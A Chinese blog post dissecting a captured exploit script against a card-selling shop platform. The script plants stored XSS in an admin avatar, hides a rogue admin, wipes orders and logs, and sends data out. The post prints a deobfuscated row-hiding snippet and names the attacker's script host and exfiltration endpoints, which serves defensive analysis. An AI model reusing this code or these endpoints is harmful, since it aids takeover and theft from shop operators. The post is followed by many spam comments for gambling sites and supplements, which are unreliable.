Análisis de secuencias de comandos para la explotación de la vulnerabilidad de compra Bizarre Hairpin $0-1
前言
最近针对异次元的零元购日趋激烈，其原因是作者没有做好网站防护。根据热心网友以及自己捕获的漏洞利用脚本，特此写作分析文章系列。本次文章的漏洞脚本作者，利用头像注入xss代码，再利用管理员的害怕被黑查看后台日志的心理，设计恶意代码在此时执行，从而达到利用管理员的权限实现零元购的目的。
最近针对异次元的零元购日趋激烈，其原因是作者没有做好网站防护。根据热心网友以及自己捕获的漏洞利用脚本，特此写作分析文章系列。
有一说一，只要每天零收入，没有卡，就不怕被黑。
特此声明
为防止再被恶意利用，本文章所有代码和描述均已做模糊处理。
概述
本次文章的漏洞脚本作者，利用头像注入 xss 代码，再利用管理员的害怕被黑查看后台日志的心理，设计恶意代码在此时执行，从而达到利用管理员的权限实现零元购的目的。
代码剖析
恶意代码脚本地址
https://jiaoben.keeta1.top/
下载下来发现被混淆了，简单的脱一下混淆。
过程就不展示了，以下代码仅被解密到可读的程度以防被利用。
大体结构如下
首先先添加一个含有 @admina.com 的管理员
$("td")["each"](function (_0x36ba71, _0x348775) {
console.log(_0x36ba71, _0x348775,_0x348775["innerHTML"]["indexOf"])
if (_0x348775["innerHTML"]["indexOf"]("@admina.com") != -1) {
var _0x53991d = $(this)["parent"]();
_0x53991d["remove"]();
}
})
其含义是遍历所有表格，如果发现表格中的值含有 @admina.com，则删除其父元素。
正好管理员列表就是一个表格，这样就能达到隐藏含有 @admina.com 的管理员了。也就是说在后台根本看不到这个管理员，只能在数据库查看到。
运行后结果如上，管理不见了。
唯一的缺点是最下面的 “显示第 1 到第 1 条记录，总共 1 条记录”, 应该减一。不然就露馅了。
然后是关键的 hacker 函数
首先先根据标题判断是否在后台的操作日志界面
然后会启用一个定时器，执行恶意代码。
如果不在后台的日志操作界面，那么定时器里的恶意代码不会执行。
首先请求发卡查找用户名为 toptoones 的用户的 id
然后根据返回的 id 执行如下步骤
先删除这个用户
然后调用订单销毁插件销毁这个用户的订单
如果你没安装这个插件，这个老 6 还会贴心的调用 api 帮你从插件商店下载，激活插件，销毁订单，关闭插件，卸载插件，并顺手帮你清楚后台日志。
然后会从管理员头像哪里注入一开始说的哪个隐藏恶意管理员的代码，这样你一登录后台就会触发恶意代码。
然后会将你的信息上传到他的后台。
https://keeta1.top/hook/log
https://keeta1.top/bdstatic.com/?callback=jsonp
然后会检查后台有没有易支付插件，有就注入代码。我猜应该是想改支付的配置，但由于一些原因没有改，可能后续会升级。
还会贴心的处理后台守护
最后就是各种清日志，传输数据。
总结
放弃幻想（异次元）
认清现实
换个别的发卡吧，作者连露面都没有。
Spanish 
Chinese (China) 
English 
Chinese (Taiwan) 
Arabic 
German 
French 
Japanese 
Italian 
Myanmar 
Vietnamese 
Chinese (Hong Kong) 
Portuguese
The Beatles - легендарная британская рок-группа, сформированная в 1960 году в Ливерпуле. Их музыка стала символом эпохи и оказала огромное влияние на мировую культуру. Среди их лучших песен: "Hey Jude", "Let It Be", "Yesterday", "Come Together", "Here Comes the Sun", "A Day in the Life", "Something", "Eleanor Rigby" и многие другие. Их творчество отличается мелодичностью, глубиной текстов и экспериментами в звуке, что сделало их одной из самых влиятельных групп в истории музыки. Музыка 2024 года слушать онлайн и скачать бесплатно mp3.
Modern Talking был немецким дуэтом, сформированным в 1984 году. Он стал одним из самых ярких представителей евродиско и популярен благодаря своему неповторимому звучанию. Лучшие песни включают "You're My Heart, You're My Soul", "Brother Louie", "Cheri, Cheri Lady" и "Geronimo's Cadillac". Их музыка оставила неизгладимый след в истории поп-музыки, захватывая слушателей своими заразительными мелодиями и запоминающимися текстами. Modern Talking продолжает быть популярным и в наши дни, оставаясь одним из символов эпохи диско. Музыка 2024 года слушать онлайн и скачать бесплатно mp3.
I wanted to express my sincere gratitude for the invaluable content you provide on your platform. Your dedication to sharing knowledge is evident, and I'm excited to continue exploring the wealth of information you offer. Thank you for making learning such a rewarding experience!
귀하의 웹사이트에 이러한 귀중한 정보를 제공해 주셔서 감사합니다. 나는 그것들이 매우 유용하다는 것을 알았고 더 많은 것을 배우기 위해 확실히 돌아올 것입니다.
I was looking at some of your content on this site and I think this internet site is very instructive!
Retain putting up.Money from blog
Hello Neat post Theres an issue together with your site in internet explorer would check this IE still is the marketplace chief and a large element of other folks will leave out your magnificent writing due to this problem
Your blog is a testament to your dedication to your craft. Your commitment to excellence is evident in every aspect of your writing. Thank you for being such a positive influence in the online community.
Your blog is a treasure trove of valuable insights and thought-provoking commentary. Your dedication to your craft is evident in every word you write. Keep up the fantastic work!
Aluminum Pipes : Lightweight and resistant to corrosion, aluminum pipes are used in HVAC and automotive applications. ElitePipe Factory in Iraq offers durable aluminum pipe solutions.
Kalorifer Sobası odun, kömür, pelet gibi yakıtlarla çalışan ve ısıtma işlevi gören bir soba türüdür.
Keep up the fantastic work! Kalorifer Sobası odun, kömür, pelet gibi yakıtlarla çalışan ve ısıtma işlevi gören bir soba türüdür. Kalorifer Sobası içindeki yakıtın yanmasıyla oluşan ısıyı doğrudan çevresine yayar ve aynı zamanda suyun ısınmasını sağlar.
I like this post, enjoyed this one appreciate it for putting up.
Very interesting information!Perfect just what I was looking for! "Peace, commerce and honest friendship with all nations entangling alliances with none." by Thomas Jefferson.
I really appreciate this post. I have been looking everywhere for this! Thank goodness I found it on Bing. You have made my day! Thank you again!
I believe this site contains some very excellent info for everyone : D.
Just about all of what you say is astonishingly legitimate and that makes me ponder the reason why I hadn't looked at this in this light before. Your piece truly did switch the light on for me personally as far as this subject goes. Nonetheless at this time there is actually one point I am not too comfy with so whilst I attempt to reconcile that with the actual main idea of your issue, permit me observe exactly what all the rest of your visitors have to point out.Well done.
I have read some good stuff here. Definitely value bookmarking for revisiting. I surprise how a lot effort you put to create the sort of magnificent informative site.
Having read this I thought it was very informative. I appreciate you taking the time and effort to put this article together. I once again find myself spending way to much time both reading and commenting. But so what, it was still worth it!
This web site can be a stroll-through for all of the data you wanted about this and didn’t know who to ask. Glimpse here, and also you’ll definitely discover it.
Can I just say what a relief to find someone who actually knows what theyre talking about on the internet. You definitely know how to bring an issue to light and make it important. More people need to read this and understand this side of the story. I cant believe youre not more popular because you definitely have the gift.
hello!,I like your writing so much! share we communicate more about your article on AOL? I require an expert on this area to solve my problem. May be that's you! Looking forward to see you.
I like reading through and I think this website got some truly utilitarian stuff on it! .
I always was interested in this topic and stock still am, regards for putting up.
Terrific work! That is the kind of info that are supposed to be shared across the web. Shame on Google for not positioning this publish higher! Come on over and talk over with my website . Thank you =)
Hi there would you mind stating which blog platform you're working with? I'm going to start my own blog in the near future but I'm having a hard time selecting between BlogEngine/Wordpress/B2evolution and Drupal. The reason I ask is because your design seems different then most blogs and I'm looking for something completely unique. P.S Sorry for getting off-topic but I had to ask!
Hello! I just would like to give a huge thumbs up for the great info you have here on this post. I will be coming back to your blog for more soon.
I am often to blogging and i really admire your content. The article has actually peaks my interest. I'm going to bookmark your site and maintain checking for brand spanking new information.
We are a gaggle of volunteers and starting a brand new scheme in our community. Your website provided us with helpful info to work on. You've performed an impressive process and our entire neighborhood will likely be thankful to you.
Very instructive and fantastic anatomical structure of written content, now that's user genial (:.
I got what you mean , regards for putting up.Woh I am thankful to find this website through google.
hey there and thanks for your info – I’ve certainly picked up something new from proper here. I did then again experience some technical points the usage of this website, as I experienced to reload the site a lot of occasions previous to I may get it to load properly. I have been pondering in case your web hosting is OK? Not that I'm complaining, but sluggish loading cases times will often have an effect on your placement in google and can injury your high quality score if advertising and ***********|advertising|advertising|advertising and *********** with Adwords. Well I am adding this RSS to my e-mail and can look out for much more of your respective intriguing content. Ensure that you update this once more soon..
I together with my buddies were actually following the excellent secrets and techniques found on your website and so all of the sudden I got a terrible suspicion I had not thanked you for those secrets. Those boys became for that reason very interested to read through them and have in effect unquestionably been using them. We appreciate you simply being indeed accommodating and also for settling on certain awesome topics millions of individuals are really eager to be aware of. Our honest apologies for not saying thanks to you earlier.
Hi there, i read your blog occasionally and i own a similar one and i was just wondering if you get a lot of spam responses? If so how do you reduce it, any plugin or anything you can suggest? I get so much lately it's driving me insane so any help is very much appreciated.
Great V I should definitely pronounce, impressed with your site. I had no trouble navigating through all tabs and related info ended up being truly simple to do to access. I recently found what I hoped for before you know it at all. Quite unusual. Is likely to appreciate it for those who add forums or something, web site theme . a tones way for your client to communicate. Nice task..
Do you mind if I quote a couple of your posts as long as I provide credit and sources back to your blog? My blog site is in the exact same area of interest as yours and my visitors would truly benefit from a lot of the information you provide here. Please let me know if this ok with you. Appreciate it!
I’d need to examine with you here. Which is not something I often do! I take pleasure in reading a publish that will make people think. Additionally, thanks for permitting me to remark!
I discovered your blog site on google and check a few of your early posts. Continue to keep up the very good operate. I just additional up your RSS feed to my MSN News Reader. Seeking forward to reading more from you later on!…
There are certainly numerous details like that to take into consideration. That could be a great level to convey up. I provide the thoughts above as general inspiration however clearly there are questions like the one you convey up the place a very powerful thing shall be working in sincere good faith. I don?t know if best practices have emerged round things like that, however I am positive that your job is clearly recognized as a good game. Each boys and girls feel the impact of just a moment’s pleasure, for the remainder of their lives.
you're really a good webmaster. The web site loading speed is amazing. It seems that you're doing any unique trick. Also, The contents are masterpiece. you've done a magnificent job on this topic!
Fantastic site. Lots of useful information here. I am sending it to some pals ans also sharing in delicious. And naturally, thanks for your sweat!
Howdy! I know this is somewhat off topic but I was wondering if you knew where I could locate a captcha plugin for my comment form? I'm using the same blog platform as yours and I'm having trouble finding one? Thanks a lot!
You are my aspiration, I own few blogs and occasionally run out from to post .
I also conceive thence, perfectly composed post! .
Regards for helping out, superb info .
Very interesting information!Perfect just what I was looking for!
Hmm is anyone else having problems with the pictures on this blog loading? I'm trying to figure out if its a problem on my end or if it's the blog. Any feedback would be greatly appreciated.
Thank you for sharing superb informations. Your site is so cool. I'm impressed by the details that you have on this blog. It reveals how nicely you understand this subject. Bookmarked this website page, will come back for more articles. You, my pal, ROCK! I found simply the info I already searched all over the place and just couldn't come across. What a perfect web-site.
The very core of your writing whilst appearing reasonable originally, did not work properly with me personally after some time. Someplace within the paragraphs you actually managed to make me a believer but only for a very short while. I however have got a problem with your jumps in logic and one might do well to fill in all those breaks. In the event you actually can accomplish that, I would definitely be amazed.
After study a couple of of the blog posts on your website now, and I actually like your means of blogging. I bookmarked it to my bookmark website checklist and shall be checking back soon. Pls take a look at my site as well and let me know what you think.
I dugg some of you post as I cogitated they were extremely helpful handy
There are some attention-grabbing cut-off dates in this article however I don’t know if I see all of them center to heart. There may be some validity but I will take maintain opinion till I look into it further. Good article , thanks and we want more! Added to FeedBurner as nicely
The following time I learn a blog, I hope that it doesnt disappoint me as a lot as this one. I mean, I do know it was my option to learn, however I really thought youd have one thing attention-grabbing to say. All I hear is a bunch of whining about something that you could repair if you werent too busy looking for attention.
I would like to convey my gratitude for your generosity for those people that absolutely need assistance with this particular question. Your very own dedication to passing the solution all-around was really advantageous and has without exception enabled many people much like me to arrive at their desired goals. Your amazing interesting key points means so much to me and somewhat more to my colleagues. Thanks a lot; from everyone of us.
DUATOTO - situs dengan bonus terbesar di indonesia
Great wordpress blog here.. It’s hard to find quality writing like yours these days. I really appreciate people like you! take care
I really appreciate this post. I¦ve been looking all over for this! Thank goodness I found it on Bing. You have made my day! Thx again
My programmer is trying to convince me to move to .net from PHP. I have always disliked the idea because of the expenses. But he's tryiong none the less. I've been using Movable-type on a variety of websites for about a year and am nervous about switching to another platform. I have heard excellent things about blogengine.net. Is there a way I can import all my wordpress content into it? Any help would be greatly appreciated!
Hi there are using WordPress for your blog platform? I'm new to the blog world but I'm trying to get started and create my own. Do you require any html coding knowledge to make your own blog? Any help would be greatly appreciated!
DUATOTO - Situs Togel Online, Live casino & Slot Online resmi and terbesar di indonesia
Having read this I thought it was very informative. I appreciate you taking the time and effort to put this article together. I once again find myself spending way to much time both reading and commenting. But so what, it was still worth it!
DUATOTO - Situs Slot Gacor Resmi Terpercaya di Indonesia
DUATOTO : Link Daftar Agen Togel Online Terbaik Di ASIA
I have been surfing online greater than 3 hours these days, but I by no means found any attention-grabbing article like yours. It’s lovely worth enough for me. In my opinion, if all site owners and bloggers made excellent content as you did, the net will probably be a lot more helpful than ever before.
DUATOTO - Link Bandar Togel Online Paling Terpercaya di Indonesia
Thanks a lot for sharing this with all of us you actually know what you're talking about! Bookmarked. Please also visit my web site =). We could have a link exchange contract between us!
Duatoto Situs Togel Online Terhebat Tahun Naga
I¦ve been exploring for a bit for any high-quality articles or weblog posts on this kind of area . Exploring in Yahoo I finally stumbled upon this site. Studying this info So i¦m happy to show that I've a very excellent uncanny feeling I found out exactly what I needed. I such a lot indisputably will make certain to do not forget this website and give it a look regularly.
DUATOTO - Link situs Bandar Toto Online dengan Sistem Akses Instan
Perfectly indited content material, Really enjoyed examining.
DUATOTO merupakan bandar togel hk resmi dan hanya 1 di indonesia dan merupakan situs togel terlengkap
I went over this website and I believe you have a lot of superb info, saved to bookmarks (:.
Wonderful site. Plenty of helpful info here. I am sending it to several pals ans additionally sharing in delicious. And of course, thank you on your sweat!
DUATOTO: Bandar Togel Online Pasti JP 2024
I like your writing style genuinely enjoying this website .
As a Newbie, I am constantly exploring online for articles that can help me. Thank you
I am continually looking online for posts that can assist me. Thx!
What i don't realize is in reality how you're not actually much more well-favored than you might be now. You are very intelligent. You know thus significantly with regards to this matter, made me for my part consider it from so many varied angles. Its like women and men don't seem to be involved until it is one thing to do with Lady gaga! Your own stuffs outstanding. All the time deal with it up!
Link alternatif duatoto resmi internaional.
WONDERFUL Post.thanks for share..extra wait .. …
Good write-up, I'm regular visitor of one's blog, maintain up the nice operate, and It's going to be a regular visitor for a lengthy time.
Pretty nice post. I simply stumbled upon your weblog and wished to mention that I have truly enjoyed surfing around your blog posts. In any case I’ll be subscribing on your feed and I'm hoping you write once more soon!
Hi there, You have performed a fantastic job. I will certainly digg it and personally suggest to my friends. I am confident they'll be benefited from this website.
Hi there! I know this is somewhat off topic but I was wondering which blog platform are you using for this website? I'm getting fed up of WordPress because I've had problems with hackers and I'm looking at alternatives for another platform. I would be awesome if you could point me in the direction of a good platform.
you might have an ideal blog right here! would you wish to make some invite posts on my blog?
Do you mind if I quote a few of your articles as long as I provide credit and sources back to your blog? My website is in the exact same niche as yours and my users would genuinely benefit from a lot of the information you present here. Please let me know if this alright with you. Thanks a lot!
Thanks - Enjoyed this update, can you make it so I get an alert email whenever you make a new update?
Spot on with this write-up, I really suppose this web site wants rather more consideration. I’ll most likely be once more to read way more, thanks for that info.
You need to take part in a contest for one of the best blogs on the web. I'll suggest this website!
What i do not realize is in reality how you're not really much more neatly-appreciated than you may be right now. You're very intelligent. You realize thus considerably in terms of this topic, produced me individually imagine it from numerous numerous angles. Its like women and men aren't interested until it¦s one thing to do with Woman gaga! Your personal stuffs great. Always take care of it up!
Hi there! Do you know if they make any plugins to
help with SEO? I'm trying to get my website to rank for some targeted keywords but I'm not seeing very good gains.
If you know of any please share. Cheers! I saw similar blog here:
Eco product
Wow! This could be one particular of the most helpful blogs We've ever arrive across on this subject. Actually Fantastic. I am also a specialist in this topic therefore I can understand your effort.
Hey! I just wanted to ask if you ever have any problems with hackers? My last blog (wordpress) was hacked and I ended up losing many months of hard work due to no back up. Do you have any methods to stop hackers?
FemiPro is a dietary supplement tailored specifically for women’s health, focusing on hormonal balance, energy, mood, and general well-being.
The very crux of your writing whilst sounding agreeable at first, did not really sit very well with me personally after some time. Someplace throughout the paragraphs you actually were able to make me a believer but just for a while. I however have a problem with your leaps in assumptions and you would do well to fill in those gaps. In the event you can accomplish that, I would certainly be impressed.
Superb blog! Do you have any tips and hints for aspiring writers? I'm planning to start my own blog soon but I'm a little lost on everything. Would you recommend starting with a free platform like WordPress or go for a paid option? There are so many choices out there that I'm completely overwhelmed .. Any recommendations? Bless you!
Lipozem is a weight loss supplement marketed for its potential to support fat burning, appetite control, and energy levels.
This blog is definitely rather handy since I’m at the moment creating an internet floral website – although I am only starting out therefore it’s really fairly small, nothing like this site. Can link to a few of the posts here as they are quite. Thanks much. Zoey Olsen
Does your site have a contact page? I'm having a tough time locating it but, I'd like to shoot you an e-mail. I've got some creative ideas for your blog you might be interested in hearing. Either way, great website and I look forward to seeing it expand over time.
Enjoyed examining this, very good stuff, appreciate it. "It requires more courage to suffer than to die." by Napoleon Bonaparte.